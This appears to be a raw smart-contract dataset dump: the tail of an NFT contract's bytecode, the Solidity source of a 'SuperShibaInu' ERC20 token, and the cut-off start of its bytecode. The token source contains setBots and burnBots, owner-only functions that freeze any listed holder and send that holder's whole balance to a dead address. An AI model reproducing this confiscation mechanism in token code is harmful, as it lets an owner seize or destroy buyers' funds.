1166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610e285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610859565b600d805460ff19811660ff90911615179055565b6109ab8383836040518060200160405280600081525061166f565b6000610e6260085490565b8210610ed65760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610859565b60088281548110610ee957610ee9613126565b90600052602060002001549050919050565b600a546001600160a01b03163314610f555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610859565b8051610f6890600f906020840190612b59565b5050565b6000610f76611a9a565b905090565b600a546001600160a01b03163314610fd55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610859565b80516107e681610fe3611a9a565b610fed919061310e565b1061103a5760405162461bcd60e51b815260206004820152600960248201527f4d6178206c696d697400000000000000000000000000000000000000000000006044820152606401610859565b60005b818110156110c55761104f818561310e565b611057611a9a565b61106290600161310e565b1461109c5760405162461bcd60e51b815260206004820152600a602482015269125b9d985b1a5908125160b21b6044820152606401610859565b6110b285848381518110610c3757610c37613126565b50806110bd8161313c565b91505061103d565b5050505050565b6000818152600260205260408120546001600160a01b03168061074c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610859565b60006001600160a01b0382166111d55760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610859565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b0316331461124b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610859565b6112556000611dfa565b565b600a546001600160a01b031633146112b15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610859565b600d805461ffff1981166101009182900460ff161590910260ff1916179055565b600a546001600160a01b0316331461132c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610859565b478061133757600080fd5b6113557328cc536e3c340c4d3a9ba751a3fb970d1867f4a447611e59565b50565b606060018054610761906130bd565b610f68338383611efc565b60606101f461137f611a9a565b106113cc5760405162461bcd60e51b815260206004820152600d60248201527f50726573616c6520656e646564000000000000000000000000000000000000006044820152606401610859565b600a546001600160a01b0316331461143557600d5460ff1615156001146114355760405162461bcd60e51b815260206004820152601060248201527f50726573616c65204e6f74204c697665000000000000000000000000000000006044820152606401610859565b81516001600160a01b0385166000908152600e602052604090205460ff166114c55760405162461bcd60e51b815260206004820152602360248201527f41646472657373204e6f742057686974656c697374656420666f72205072657360448201527f616c6500000000000000000000000000000000000000000000000000000000006064820152608401610859565b6005816114d187611157565b6114db919061310e565b11156115295760405162461bcd60e51b815260206004820152600d60248201527f4d617820352050726573616c65000000000000000000000000000000000000006044820152606401610859565b6101f481611535611a9a565b61153f919061310e565b1061158c5760405162461bcd60e51b815260206004820152601160248201527f50726573616c65204d6178204c696d69740000000000000000000000000000006044820152606401610859565b61159581610ce7565b3410156115e45760405162461bcd60e51b815260206004820152601b60248201527f496e73756666696369656e742046756e647320466f72204d696e7400000000006044820152606401610859565b60005b81811015610c57576115f9818661310e565b611601611a9a565b61160c90600161310e565b146116465760405162461bcd60e51b815260206004820152600a602482015269125b9d985b1a5908125160b21b6044820152606401610859565b61165c86858381518110610c3757610c37613126565b50806116678161313c565b9150506115e7565b6116793383611b0b565b6116eb5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610859565b6116f784848484611fcb565b50505050565b606061074c82612049565b600f8054611715906130bd565b80601f0160208091040260200160405190810160405280929190818152602001828054611741906130bd565b801561178e5780601f106117635761010080835404028352916020019161178e565b820191906000526020600020905b81548152906001019060200180831161177157829003601f168201915b505050505081565b600a546001600160a01b031633146117f05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610859565b60005b818110156109ab57600083838381811061180f5761180f613126565b90506020020160208101906118249190612f42565b6001600160a01b0316141561187b5760405162461bcd60e51b815260206004820152601660248201527f496e76616c69642057616c6c65742041646472657373000000000000000000006044820152606401610859565b6001600e600085858581811061189357611893613126565b90506020020160208101906118a89190612f42565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806118da8161313c565b9150506117f3565b606060405180606001604052806035815260200161326a60359139905090565b600a546001600160a01b0316331461195c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610859565b6001600160a01b0381166119d85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610859565b61135581611dfa565b60006001600160e01b031982167f780e9d6300000000000000000000000000000000000000000000000000000000148061074c575061074c826121d4565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0384169081179091558190611a61826110cc565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610f76600c5490565b6000611ab5600c80546001019055565b6000611ac0600c5490565b9050611acc848261226f565b611ad68184612289565b604051819081907fae961ff6d5a7a370a260744cbe7a5673f66e447235958db5c213c33f4b08ca1490600090a2949350505050565b6000818152600260205260408120546001600160a01b0316611b845760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610859565b6000611b8f836110cc565b9050806001600160a01b0316846001600160a01b03161480611bca5750836001600160a01b0316611bbf846107e4565b6001600160a01b0316145b80611bfa57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611c15826110cc565b6001600160a01b031614611c915760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201527f6f776e65720000000000000000000000000000000000000000000000000000006064820152608401610859565b6001600160a01b038216611d0c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610859565b611d17838383612332565b611d22600082611a1f565b6001600160a01b0383166000908152600360205260408120805460019290611d4b908490613157565b90915550506001600160a01b0382166000908152600360205260408120805460019290611d7990849061310e565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000611df3828461316e565b9392505050565b600a80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611ea6576040519150601f19603f3d011682016040523d82523d6000602084013e611eab565b606091505b50509050806109ab5760405162461bcd60e51b815260206004820152601060248201527f5472616e73666572206661696c65642e000000000000000000000000000000006044820152606401610859565b816001600160a01b0316836001600160a01b03161415611f5e5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610859565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611fd6848484611c02565b611fe28484848461233d565b6116f75760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610859565b6000818152600260205260409020546060906001600160a01b03166120d65760405162461bcd60e51b815260206004820152603160248201527f45524337323155524953746f726167653a2055524920717565727920666f722060448201527f6e6f6e6578697374656e7420746f6b656e0000000000000000000000000000006064820152608401610859565b6000828152600b6020526040812080546120ef906130bd565b80601f016020809104026020016040519081016040528092919081815260200182805461211b906130bd565b80156121685780601f1061213d57610100808354040283529160200191612168565b820191906000526020600020905b81548152906001019060200180831161214b57829003601f168201915b50505050509050600061218660408051602081019091526000815290565b9050805160001415612199575092915050565b8151156121cb5780826040516020016121b392919061318d565b60405160208183030381529060405292505050919050565b611bfa84612486565b60006001600160e01b031982167f80ac58cd00000000000000000000000000000000000000000000000000000000148061223757506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061074c57507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b031983161461074c565b610f6882826040518060200160405280600081525061257b565b6000828152600260205260409020546001600160a01b03166123135760405162461bcd60e51b815260206004820152602e60248201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60448201527f6578697374656e7420746f6b656e0000000000000000000000000000000000006064820152608401610859565b6000828152600b6020908152604090912082516109ab92840190612b59565b6109ab8383836125f9565b60006001600160a01b0384163b1561247b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906123819033908990889088906004016131bc565b6020604051808303816000875af19250505080156123bc575060408051601f3d908101601f191682019092526123b9918101906131f8565b60015b612461573d8080156123ea576040519150601f19603f3d011682016040523d82523d6000602084013e6123ef565b606091505b5080516124595760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610859565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611bfa565b506001949350505050565b6000818152600260205260409020546060906001600160a01b03166125135760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610859565b600061252a60408051602081019091526000815290565b9050600081511161254a5760405180602001604052806000815250611df3565b8061255484612684565b60405160200161256592919061318d565b6040516020818303038152906040529392505050565b61258583836127b6565b612592600084848461233d565b6109ab5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610859565b612604838383612911565b600a54600160a01b900460ff16156109ab5760405162461bcd60e51b815260206004820152602b60248201527f4552433732315061757361626c653a20746f6b656e207472616e73666572207760448201527f68696c65207061757365640000000000000000000000000000000000000000006064820152608401610859565b6060816126c457505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156126ee57806126d88161313c565b91506126e79050600a8361322b565b91506126c8565b60008167ffffffffffffffff81111561270957612709612cef565b6040519080825280601f01601f191660200182016040528015612733576020820181803683370190505b5090505b8415611bfa57612748600183613157565b9150612755600a8661323f565b61276090603061310e565b60f81b81838151811061277557612775613126565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506127af600a8661322b565b9450612737565b6001600160a01b03821661280c5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610859565b6000818152600260205260409020546001600160a01b0316156128715760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610859565b61287d60008383612332565b6001600160a01b03821660009081526003602052604081208054600192906128a690849061310e565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6001600160a01b03831661296c5761296781600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61298f565b816001600160a01b0316836001600160a01b03161461298f5761298f83826129c9565b6001600160a01b0382166129a6576109ab81612a66565b826001600160a01b0316826001600160a01b0316146109ab576109ab8282612b15565b600060016129d684611157565b6129e09190613157565b600083815260076020526040902054909150808214612a33576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090612a7890600190613157565b60008381526009602052604081205460088054939450909284908110612aa057612aa0613126565b906000526020600020015490508060088381548110612ac157612ac1613126565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480612af957612af9613253565b6001900381819060005260206000200160009055905550505050565b6000612b2083611157565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b828054612b65906130bd565b90600052602060002090601f016020900481019282612b875760008555612bcd565b82601f10612ba057805160ff1916838001178555612bcd565b82800160010185558215612bcd579182015b82811115612bcd578251825591602001919060010190612bb2565b50612bd9929150612bdd565b5090565b5b80821115612bd95760008155600101612bde565b6001600160e01b03198116811461135557600080fd5b600060208284031215612c1a57600080fd5b8135611df381612bf2565b60005b83811015612c40578181015183820152602001612c28565b838111156116f75750506000910152565b60008151808452612c69816020860160208601612c25565b601f01601f19169290920160200192915050565b602081526000611df36020830184612c51565b600060208284031215612ca257600080fd5b5035919050565b80356001600160a01b0381168114612cc057600080fd5b919050565b60008060408385031215612cd857600080fd5b612ce183612ca9565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715612d2e57612d2e612cef565b604052919050565b600067ffffffffffffffff831115612d5057612d50612cef565b612d63601f8401601f1916602001612d05565b9050828152838383011115612d7757600080fd5b828260208301376000602084830101529392505050565b600082601f830112612d9f57600080fd5b611df383833560208501612d36565b600080600060608486031215612dc357600080fd5b612dcc84612ca9565b92506020808501359250604085013567ffffffffffffffff80821115612df157600080fd5b818701915087601f830112612e0557600080fd5b813581811115612e1757612e17612cef565b8060051b612e26858201612d05565b918252838101850191858101908b841115612e4057600080fd5b86860192505b83831015612e7c57823585811115612e5e5760008081fd5b612e6c8d89838a0101612d8e565b8352509186019190860190612e46565b809750505050505050509250925092565b6020808252825182820181905260009190848201906040850190845b81811015612ec557835183529284019291840191600101612ea9565b50909695505050505050565b600080600060608486031215612ee657600080fd5b612eef84612ca9565b9250612efd60208501612ca9565b9150604084013590509250925092565b600060208284031215612f1f57600080fd5b813567ffffffffffffffff811115612f3657600080fd5b611bfa84828501612d8e565b600060208284031215612f5457600080fd5b611df382612ca9565b60008060408385031215612f7057600080fd5b612f7983612ca9565b915060208301358015158114612f8e57600080fd5b809150509250929050565b60008060008060808587031215612faf57600080fd5b612fb885612ca9565b9350612fc660208601612ca9565b925060408501359150606085013567ffffffffffffffff811115612fe957600080fd5b8501601f81018713612ffa57600080fd5b61300987823560208401612d36565b91505092959194509250565b6000806020838503121561302857600080fd5b823567ffffffffffffffff8082111561304057600080fd5b818501915085601f83011261305457600080fd5b81358181111561306357600080fd5b8660208260051b850101111561307857600080fd5b60209290920196919550909350505050565b6000806040838503121561309d57600080fd5b6130a683612ca9565b91506130b460208401612ca9565b90509250929050565b600181811c908216806130d157607f821691505b602082108114156130f257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115613121576131216130f8565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415613150576131506130f8565b5060010190565b600082821015613169576131696130f8565b500390565b6000816000190483118215151615613188576131886130f8565b500290565b6000835161319f818460208801612c25565b8351908301906131b3818360208801612c25565b01949350505050565b60006001600160a01b038087168352808616602084015250836040830152608060608301526131ee6080830184612c51565b9695505050505050565b60006020828403121561320a57600080fd5b8151611df381612bf2565b634e487b7160e01b600052601260045260246000fd5b60008261323a5761323a613215565b500490565b60008261324e5761324e613215565b500690565b634e487b7160e01b600052603160045260246000fdfe697066733a2f2f516d6142796e736e4e594d7350524d315531584561767736435566724767594a7268634634556e4b635837514667a26469706673582212203fd2bc584335da2ccf65c836ea38eeca8e04f7f4acf9df507de8ea99f6828cdb64736f6c634300080c0033
[ 5 ]
0xF24fE9b483103761C410833f82F01a50EE198726
pragma solidity ^0.6.12; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SuperShibaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "spSHIB\xF0\x9F\xA6\xB8"; string private constant _symbol = "Super Shiba Inu\xF0\x9F\xA6\xB8"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10 ** 12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 10; address private burnAddress = 0x000000000000000000000000000000000000dEaD; // Bot detection address[] private botArray; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) public { _marketingFunds = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 0; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingFunds.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _marketingFunds); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingFunds); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; botArray.push(bots_[i]); } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function burnBots() public onlyOwner { for (uint256 i = 0; i < botArray.length; i ++) { if (bots[botArray[i]]) { _transfer(botArray[i], burnAddress, balanceOf(botArray[i])); } } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101485760003560e01c8063715018a6116100c0578063c3c8cd8011610074578063d543dbeb11610059578063d543dbeb146104d7578063dd62ed3e14610501578063fe598ba11461053c5761014f565b8063c3c8cd80146104ad578063c9567bf9146104c25761014f565b806395d89b41116100a557806395d89b41146103af578063a9059cbb146103c4578063b515566a146103fd5761014f565b8063715018a6146103695780638da5cb5b1461037e5761014f565b8063273123b7116101175780635932ead1116100fc5780635932ead1146102f55780636fc3eaec1461032157806370a08231146103365761014f565b8063273123b714610295578063313ce567146102ca5761014f565b806306fdde0314610154578063095ea7b3146101de57806318160ddd1461022b57806323b872dd146102525761014f565b3661014f57005b600080fd5b34801561016057600080fd5b50610169610551565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a357818101518382015260200161018b565b50505050905090810190601f1680156101d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ea57600080fd5b506102176004803603604081101561020157600080fd5b506001600160a01b038135169060200135610588565b604080519115158252519081900360200190f35b34801561023757600080fd5b506102406105a6565b60408051918252519081900360200190f35b34801561025e57600080fd5b506102176004803603606081101561027557600080fd5b506001600160a01b038135811691602081013590911690604001356105b3565b3480156102a157600080fd5b506102c8600480360360208110156102b857600080fd5b50356001600160a01b031661063a565b005b3480156102d657600080fd5b506102df6106c5565b6040805160ff9092168252519081900360200190f35b34801561030157600080fd5b506102c86004803603602081101561031857600080fd5b503515156106ca565b34801561032d57600080fd5b506102c8610752565b34801561034257600080fd5b506102406004803603602081101561035957600080fd5b50356001600160a01b0316610786565b34801561037557600080fd5b506102c86107a8565b34801561038a57600080fd5b50610393610869565b604080516001600160a01b039092168252519081900360200190f35b3480156103bb57600080fd5b50610169610878565b3480156103d057600080fd5b50610217600480360360408110156103e757600080fd5b506001600160a01b0381351690602001356108af565b34801561040957600080fd5b506102c86004803603602081101561042057600080fd5b81019060208101813564010000000081111561043b57600080fd5b82018360208201111561044d57600080fd5b8035906020019184602083028401116401000000008311171561046f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108c3945050505050565b3480156104b957600080fd5b506102c86109ee565b3480156104ce57600080fd5b506102c8610a2b565b3480156104e357600080fd5b506102c8600480360360208110156104fa57600080fd5b5035610eb2565b34801561050d57600080fd5b506102406004803603604081101561052457600080fd5b506001600160a01b0381358116916020013516610fc9565b34801561054857600080fd5b506102c8610ff4565b60408051808201909152600a81527f737053484942f09fa6b800000000000000000000000000000000000000000000602082015290565b600061059c610595611112565b8484611116565b5060015b92915050565b683635c9adc5dea0000090565b60006105c0848484611202565b610630846105cc611112565b61062b85604051806060016040528060288152602001611e48602891396001600160a01b038a1660009081526004602052604081209061060a611112565b6001600160a01b0316815260208101919091526040016000205491906115e4565b611116565b5060019392505050565b610642611112565b6000546001600160a01b039081169116146106a4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03166000908152600c60205260409020805460ff19169055565b600990565b6106d2611112565b6000546001600160a01b03908116911614610734576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190